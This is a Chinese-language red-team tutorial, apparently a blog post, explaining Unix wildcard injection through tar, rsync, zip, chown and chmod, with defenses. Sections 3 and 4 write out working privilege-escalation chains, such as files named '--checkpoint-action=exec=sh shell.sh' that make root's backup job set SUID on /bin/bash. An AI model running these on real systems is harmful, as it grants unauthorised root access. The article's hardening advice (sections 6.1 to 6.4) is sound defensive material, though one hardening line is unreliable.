// 红队渗透 · 2026-06-02

Unix 通配符注入攻击:从参数污染到命令执行

摘要

Unix 通配符注入(Wildcard Injection)是一种被严重低估但长期有效的攻击技术。当系统命令使用 * 等通配符处理文件时,攻击者可通过构造包含特殊字符(尤其是以 - 开头的)文件名,将文件名“伪装”成命令参数注入到命令行中,从而实现权限篡改、任意命令执行等高危操作。本文结合经典论文与实战场景,系统分析 tar、rsync、zip、chown、chmod 等常见命令的通配符注入原理、利用手法及防御方案。


1. 引言

在现代安全攻防中,ASLR 绕过、ROP 利用、0day 内核漏洞等高级技术往往占据主流视野。然而,一些“复古”的 Unix 技巧却因其简单、隐蔽、普适性强而长期有效。通配符注入正是其中之一——它不需要复杂的内存布局操控,只需利用 shell 对通配符的解析机制,就能让看似无害的 tar * 变成提权后门。

本文的核心问题是:当文件名与命令参数共享同一个输入通道时,如何打破二者的边界?


2. 通配符基础与风险模型

2.1 Shell 通配符解析机制

在 Unix shell 中,通配符在命令执行前由 shell 先行展开:

通配符 含义
* 匹配任意数量字符(包括零个)
? 匹配单个字符
[ ] 匹配括号内任一字符
- 在 [ ] 中表示字符范围

关键风险点:当目录中存在以 - 开头的文件名时,* 展开后会将其作为参数传递给目标命令,而非普通文件名。

2.2 通道混合攻击(Channeling Attack)

通配符注入本质上是一种 通道混合(Channeling) 问题——将原本应属于“文件名通道”的数据注入到“参数通道”中。当管理员执行:

rm *

shell 实际执行的等价命令为:

rm file1.txt file2.txt -rf

若目录中存在名为 -rf 的文件,rm 会将其解析为递归强制删除选项,导致灾难性后果。

flowchart LR
    subgraph Shell["Shell 通配符展开阶段"]
        A["rm *"] --> B["解析目录文件列表"]
        B --> C["file1.txt, file2.txt, -rf"]
    end
    subgraph Exec["命令执行阶段"]
        C --> D["rm file1.txt file2.txt -rf"]
        D --> E["-rf 被解析为选项<br/>而非文件名"]
    end
    style Shell fill:#e1f5fe
    style Exec fill:#fff3e0

3. 权限篡改:chown / chmod 文件引用劫持

3.1 chown 所有者劫持

chown 的 --reference=RFILE 参数允许以参考文件的属主/属组为目标,而非手动指定。攻击者构造如下文件:

# 创建参考文件(属主为攻击者 leon)
touch .drf.php

# 创建注入参数的文件名
touch -- "--reference=.drf.php"

当 root 执行 chown -R nobody:nobody *.php 时,展开后变为:

chown -R nobody:nobody admin.php ... --reference=.drf.php

由于 --reference 优先级高于位置参数,所有 .php 文件的属主被篡改为 leon,实现文件所有权劫持。

sequenceDiagram
    participant Root as root
    participant Shell as Shell
    participant FS as 文件系统
    participant Attacker as 攻击者(leon)

    Attacker->>FS: touch .drf.php
    Attacker->>FS: touch "--reference=.drf.php"
    Root->>Shell: chown -R nobody:nobody *.php
    Shell->>Shell: 通配符展开
    Shell->>FS: 读取文件列表
    FS-->>Shell: admin.php, ..., --reference=.drf.php
    Shell->>Root: chown -R nobody:nobody admin.php ... --reference=.drf.php
    Root->>FS: 按 .drf.php 的属主(leon)修改所有文件
    FS-->>Root: 完成
    Note over Root,FS: 所有文件属主变为 leon!

3.2 chmod 权限篡改

同理,chmod 的 --reference 参数可被用于批量修改权限。攻击者将 .drf.php 设为 777,再注入 --reference=.drf.php,即可将目标目录下所有文件权限改为 777。

更危险的是,若配合 -R 文件名(touch -- -R),还可实现递归权限篡改。


4. 命令执行:tar / rsync / zip 参数注入

4.1 tar 任意命令执行

原理

tar 支持 --checkpoint 和 --checkpoint-action 参数,允许在归档过程中达到检查点时执行指定动作:

--checkpoint=NUMBER          # 每 NUMBER 条记录显示进度
--checkpoint-action=ACTION   # 在检查点执行 ACTION

攻击构造

攻击者创建以下文件和脚本:

# 恶意脚本
echo '/usr/bin/id' > shell.sh && chmod +x shell.sh

# 注入参数的文件名
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

当 root 执行 tar cf archive.tar * 时,展开后的命令为:

tar cf archive.tar admin.php ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh

tar 在归档第一个文件后即触发检查点,执行 sh shell.sh,以 root 权限运行任意命令。

flowchart TD
    A["root 执行 tar cf archive.tar *"] --> B["Shell 展开通配符"]
    B --> C["文件列表包含"]
    C1["--checkpoint=1"]:::none --> C
    C2["--checkpoint-action=exec=sh shell.sh"]:::none --> C
    C --> D["tar 解析参数"]
    D --> E{"遇到 --checkpoint=1"}
    E -->|是| F["触发检查点"]
    F --> G["执行 exec=sh shell.sh"]
    G --> H["以 root 权限运行 /usr/bin/id"]
    H --> I["输出 uid=0(root)"]
    
    style A fill:#ffcdd2
    style H fill:#ffcdd2
    style I fill:#ffcdd2
    classDef none fill:#fff,stroke:#ccc

完整利用链

# 攻击者视角
cd /var/www/html/uploads
echo 'chmod +s /bin/bash' > shell.sh && chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

# root 的 cron 任务触发
# tar -czf /root/backups/web.tar.gz *
# → /bin/bash 获得 SUID,攻击者执行 /bin/bash -p 提权

4.2 rsync 远程 Shell 注入

原理

rsync 的 -e(或 --rsh)参数用于指定远程 shell 命令。当 rsync 通过通配符获取到 -e 参数时,会将其后的内容作为远程 shell 执行。

攻击构造

# 创建恶意脚本
echo '/usr/bin/id > shell_output.txt' > shell.c && chmod +x shell.c

# 构造注入文件名(利用 ${IFS} 绕过空格过滤)
touch -- "-e sh shell.c"

当 root 执行 rsync -t *.c backup:/srv/ 时,展开为:

rsync -t admin.c ... -e sh shell.c backup:/srv/

rsync 将 shell.c 作为 -e 指定的远程 shell 执行,结果写入 shell_output.txt。

sequenceDiagram
    participant Root as root
    participant RS as rsync
    participant Attacker as 攻击者文件
    participant Remote as 远程服务器

    Attacker->>Attacker: 创建 -e sh shell.c
    Root->>RS: rsync -t *.c backup:/srv/
    RS->>RS: 通配符展开 *.c
    RS->>RS: 解析到 -e sh shell.c
    RS->>Attacker: 将 shell.c 作为远程 shell 执行
    Attacker->>Attacker: /usr/bin/id > shell_output.txt
    Note over Root,Remote: shell_output.txt 属主为 root,证明以 root 执行

4.3 zip 双向量攻击

zip 命令存在两类通配符注入风险:命令执行与任意文件写入。

4.3.1 命令执行:-T / -TT 注入

zip 的 -T 参数用于测试压缩包完整性,-TT(或 --unzip-command)指定测试时使用的解压命令。

攻击构造:

# 创建恶意脚本
echo 'chmod +s /bin/bash' > a.txt && chmod +x a.txt

# 构造注入文件名
touch -- "-T -TT sh${IFS}a.txt"

当 root 执行 zip -q /root/backups/latest.zip * 时,-T 触发完整性测试,-TT sh a.txt 将 a.txt 作为解压命令执行,实现提权。

flowchart LR
    subgraph 命令执行向量
        A1["构造 -T -TT 文件名"] --> B1["zip 执行完整性测试"]
        B1 --> C1["执行 sh a.txt"]
        C1 --> D1["提权"]
    end

4.3.2 任意文件写入:-O 参数注入

zip 的 -O(--out)参数可重定向输出路径。攻击者构造包含 -O 的文件名:

touch -- "-O /etc/cron.d/backdoor"

当 root 执行 zip backup.zip * 时,输出被重定向到 /etc/cron.d/backdoor,若配合精心构造的 zip 内容,可实现 cron 后门植入。


5. 攻击面总结与利用场景

命令 注入参数 攻击效果 利用条件
rm -rf 递归强制删除 目录可写
chown --reference= 文件属主劫持 目录可写 + root 执行
chmod --reference= / -R 权限篡改 目录可写 + root 执行
tar --checkpoint / --checkpoint-action 任意命令执行 目录可写 + 定时任务/脚本
rsync -e 远程 Shell 执行 目录可写 + 含通配符的 rsync
zip -T / -TT / -O 命令执行 / 文件覆盖 目录可写 + 含通配符的 zip

典型利用场景

  1. Web 上传目录:攻击者上传含恶意文件名的文件,等待管理员执行备份脚本
  2. 共享目录:多用户可写的目录(如 /tmp、/var/www/uploads)
  3. Cron 定时任务:*/10 * * * * cd /backup && tar czf backup.tar.gz *
  4. CI/CD 流水线:构建脚本中使用通配符打包源码

6. 防御方案

6.1 根本修复:避免通配符与文件名混合

# ❌ 危险
tar czf backup.tar.gz *

# ✅ 安全:使用 -- 终止参数解析
tar czf backup.tar.gz -- *

# ✅ 更安全:显式指定文件或使用 find
find . -maxdepth 1 -type f -exec tar czf backup.tar.gz {} +

6.2 各命令专项防御

命令 安全用法
tar tar czf backup.tar.gz -- * 或 tar czf backup.tar.gz .
rsync rsync -t -- *.c backup:/srv/
zip zip backup.zip -- *
chown chown -R nobody:nobody -- *.php
chmod chmod 000 -- *

6.3 系统级加固

# 1. 限制可写目录的执行权限
chmod 1777 /tmp  # sticky bit

# 2. 使用 chroot 或容器隔离文件系统

# 3. 审计脚本中的通配符使用
grep -rn '\*' /etc/cron* /var/spool/cron/

# 4. 设置 GLOBIGNORE 排除以 - 开头的文件(bash)
export GLOBIGNORE='-*'

6.4 开发规范

  • 永远不要在脚本中使用裸通配符处理用户可控目录
  • 使用 -- 明确分隔选项与文件名
  • 对文件名进行白名单校验,拒绝以 - 开头的文件名
  • 优先使用 find 的 -exec 或管道配合 xargs -0

7. 结论

通配符注入是一种“返璞归真”的攻击技术,它不需要复杂的漏洞利用链,却能在特定场景下造成与内核漏洞同等级别的危害。其核心原因在于 Unix 命令行接口将“选项通道”与“文件名通道”混为一谈,而通配符展开恰好是打破这一边界的桥梁。

对于红队而言,通配符注入是权限提升和横向移动的隐蔽武器;对于蓝队而言,审计脚本中的通配符使用、加固可写目录权限、推广 -- 最佳实践,是降低此类风险的关键。

正如原始论文作者 Leon Juranic 所言:“这不是关于现代黑客技术,而是关于 Unix shell 黑客——带我们 straight back to the 80’s。” 在容器化、DevOps 盛行的今天,那些隐藏在 tar * 和 rsync *.c 中的古老陷阱,依然值得每一位安全从业者警惕。


参考文献

Juranic, L. (2014). Back To The Future: Unix Wildcards Gone Wild. Exploit-DB, EDB-ID: 33930.

原文 https://vortex.blog.csdn.net/article/details/161613337